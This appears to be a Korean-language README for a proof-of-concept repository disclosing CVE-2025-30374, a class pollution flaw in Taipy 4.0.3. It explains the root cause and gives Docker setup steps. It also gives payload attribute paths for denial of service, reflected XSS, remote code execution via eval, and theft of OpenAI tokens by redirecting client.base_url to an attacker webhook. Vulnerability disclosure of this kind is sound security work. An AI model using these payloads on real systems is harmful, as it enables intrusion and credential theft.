
CVE-2025-30374에 대한 익스플로잇 PoC로, Taipy 클래스 오염 취약점을 악용하여 RCE, 반사형 XSS, DoS 및 OpenAI 자격 증명 유출을 시연하며 Docker 기반 재현 스크립트를 제공합니다.
Taipy v4.0.3(발견 당시 최신 버전)에서 클래스 오염 취약점이 확인되었습니다. 이 취약점은 인증되지 않은 공격자가 Taipy 서버 측 런타임 컨텍스트를 덮어쓸 수 있게 하여 RCE, 반사형 XSS, 서비스 거부(DoS), 중요한 인증 자격 증명(예: OpenAI 토큰) 유출과 같은 심각한 결과를 초래합니다.
배경
클래스 오염(JavaScript의 프로토타입 오염과 유사)은 Python에서 비교적 새로운 취약점입니다. 공격자가 런타임에 모듈의 전역 변수나 특정 클래스 및 함수의 속성을 예기치 않게 덮어쓸 수 있을 때 발생합니다. 이 문제는 CWE-915로 분류됩니다.
클래스 오염에 대한 자세한 내용은 다음을 참조하십시오:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Taipy에서 발견된 클래스 오염 취약점
이 취약점의 근본 원인은 Taipy가 상태의 변수 값을 업데이트하기 위해 재귀적 set 함수를 사용하는 데 있습니다. name 및 value 매개변수는 모두 클라이언트 측 입력에서 파생되며 적절한 검증이 없습니다. 이를 통해 공격자는 _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set와 같은 악성 속성 경로를 주입하여 의 메서드를 덮어쓸 수 있습니다.
_TaipyBaseset다음 함수는 클라이언트 측에서 상태를 업데이트하기 위해 여러 라우트에서 _manage_message를 통해 호출됩니다:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
설정
아래 모든 PoC는 이 저장소에 포함된 데모 채팅 앱(app/ 참조)을 대상으로 합니다. 이 앱은 공식 Taipy LLM Chat 데모(https://github.com/Avaiga/demo-llm-chat)를 기반으로 하며 Taipy 4.0.3(발견 당시 버전)을 고정 사용합니다. Docker로 빌드 및 실행합니다:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
DoS, XSS, RCE PoC는 유효한 OpenAI 키가 필요하지 않습니다. 토큰 유출 PoC의 경우 실제 키로 앱을 시작해야 유출된 요청에 해당 키가 포함됩니다:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
그런 다음 저장소 루트에서 해당 스크립트를 실행합니다(예: python poc-dos.py). 먼저 pip install "python-socketio[client]" requests로 클라이언트 종속성을 설치합니다.
결과 1: DoS
전체 익스플로잇은 poc-dos.py에서 확인할 수 있습니다.
poc-dos.py는 바인딩된 홀더 변수를 진입점으로 사용하여 공유 _TaipyBase 클래스의 set 메서드를 호출 불가능한 정수로 덮어씁니다:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
모든 Taipy 값 홀더(_TaipyData, _TaipyLov, _TaipyLovValue, ...)는 _TaipyBase에서 파생되므로, 서버는 모든 바인딩된 변수를 (재)평가하는 동안 TypeError: 'int' object is not callable을 발생시킵니다. 이는 공격자의 세션뿐만 아니라 모든 세션에 영향을 미치며 앱을 다시 시작할 때까지 지속됩니다.
결과 2: OpenAI 토큰 유출
전체 익스플로잇은 poc-token-exfil.py에서 확인할 수 있습니다.
데모 앱은 openai.Client를 모듈 전역 변수(client)로 유지하며, 이를 Taipy 상태에 바인딩하여 state.client.chat.completions.create(...)로 사용합니다. poc-token-exfil.py는 client.base_url을 공격자가 제어하는 URL로 오염시킵니다:
client.base_url = https://webhook.site/<your-uuid>
이후 모든 채팅 요청은 Authorization: Bearer <OPENAI_API_KEY> 헤더와 전체 대화 내용을 포함하여 공격자가 제어하는 서버로 리디렉션되어 OpenAI 토큰이 유출됩니다.
결과 3: XSS

다음 함수에서 애플리케이션이 사용자 콘텐츠를 렌더링하려고 할 때 적절한 렌더러를 찾지 못하면 대신 type(content).__name__을 HTML 응답으로 반환합니다:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
그러나 클래스 객체의 __name__ 속성은 클래스 오염을 통해 설정할 수 있습니다(예: tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__). 공격자는 이 속성을 악성 HTML 또는 JavaScript 페이로드로 덮어쓸 수 있습니다.
전체 익스플로잇은 poc-xss-no-dot.py(v4.0.3에 대해 동작) 및 poc-xss.py(점("U")이 있는 변형, Taipy ≤ 4.0.2)에서 확인할 수 있습니다.
결과 4: RCE

다음으로 RCE 공격으로 이어지는 방법을 보여드립니다.
클래스 오염 취약점을 통해 공격자는 기본적으로 민감한 객체를 많이 포함하지 않는 세션 상태에 나타나는 객체에 임의 속성을 설정할 수 있습니다. 그러나 Gui.on_action 라우트를 활용하여 Gui.table_on_edit 핸들러를 호출하면 __main__ 모듈의 새 객체가 세션 상태에 바인딩된다는 것을 발견했습니다. 다음 줄에서 상태 객체에 대한 getattr 호출은 자동으로 바인딩 작업을 트리거하고, 이어지는 setattr은 바인딩된 값을 즉시 None으로 재설정합니다:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
이 동작은 Gui 클래스와 같은 객체 참조가 세션 상태에 일시적으로 존재하는 짧은 레이스 윈도우를 만듭니다. 이 윈도우 동안 공격자는 클래스 오염을 악용하여 해당 객체의 속성을 덮어쓸 수 있습니다.
또한 Gui.__SELF_VAR 속성이 Python 내장 eval() 함수에 전달되는 표현식을 구성할 때 접두사로 사용된다는 것을 발견했습니다:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
클래스 오염을 통해 __SELF_VAR 값을 덮어씀으로써 공격자는 평가되는 표현식을 제어할 수 있으며, 궁극적으로 서버에서 임의 코드 실행으로 이어집니다.
전체 익스플로잇은 poc-rce-no-dot.py(v4.0.3에 대해 동작) 및 poc-rce.py(점("U")이 있는 변형, Taipy ≤ 4.0.2)에서 확인할 수 있습니다. 두 익스플로잇 모두 on_action 라우트가 table_on_edit를 호출하여 Gui 객체를 세션 상태에 바인딩한 다음, 클래스 오염 쓰기를 해당 객체와 경쟁시키므로 성공하려면 여러 번 시도해야 할 수 있습니다.
모든 Taipy 사용자는 이 취약점을 악용하여 RCE, 반사형 XSS, 서비스 거부(DoS) 및 중요한 인증 자격 증명(예: OpenAI 토큰) 유출을 발생시킬 수 있습니다.